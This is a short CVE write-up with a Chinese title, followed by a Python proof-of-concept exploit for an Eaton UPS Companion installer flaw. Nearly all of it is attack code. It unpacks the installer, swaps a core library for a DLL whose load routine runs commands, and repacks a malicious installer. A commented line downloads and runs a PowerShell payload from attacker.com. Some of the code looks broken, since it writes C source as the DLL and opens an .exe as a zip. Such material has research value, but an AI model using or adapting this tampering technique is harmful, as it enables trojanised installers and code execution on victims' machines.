CVE-2025-59887: Eaton UPS Companion安装程序库文件认证不当导致任意代码执行

# CVE-2025-59887 PoC - Malicious DLL Injection for Eaton UPS Companion Installer # This PoC demonstrates the library file injection vulnerability # Note: This is for educational and security research purposes only import os import zipfile import shutil import struct class EatonUPSExploit: def __init__(self, original_package, output_malicious): self.original_package = original_package self.output_malicious = output_malicious def create_malicious_dll(self, output_path): """Generate a malicious DLL that will execute arbitrary code when loaded""" dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Malicious code execution here // Spawn reverse shell or execute payload WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); // Alternative: Download and execute payload // system("powershell -WindowStyle Hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""); }} return TRUE; }} // Export functions that the original installer expects __declspec(dllexport) void InitializeComponent() {{}} __declspec(dllexport) int ValidateLibrary() {{ return 1; }} ''' with open(output_path, 'w') as f: f.write(dll_template) return True def inject_malicious_library(self, target_library='EatonUPSCore.dll'): """Inject malicious DLL into the software package""" temp_dir = 'temp_extracted' # Step 1: Extract original package with zipfile.ZipFile(self.original_package, 'r') as zip_ref: zip_ref.extractall(temp_dir) # Step 2: Replace target library with malicious version malicious_dll = os.path.join(temp_dir, 'lib', target_library) self.create_malicious_dll(malicious_dll) # Step 3: Repack the modified package (without integrity checks) with zipfile.ZipFile(self.output_malicious, 'w', zipfile.ZIP_DEFLATED) as zipf: for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zipf.write(file_path, arcname) # Cleanup shutil.rmtree(temp_dir) print(f"[+] Malicious package created: {self.output_malicious}") return True if __name__ == '__main__': exploit = EatonUPSExploit('EatonUPS_Setup.exe', 'EatonUPS_Setup_Malicious.exe') exploit.inject_malicious_library() print("[+] Attack vector: Modified installer with injected DLL") print("[+] Trigger: User runs the modified installer") print("[+] Impact: Arbitrary code execution with installer privileges")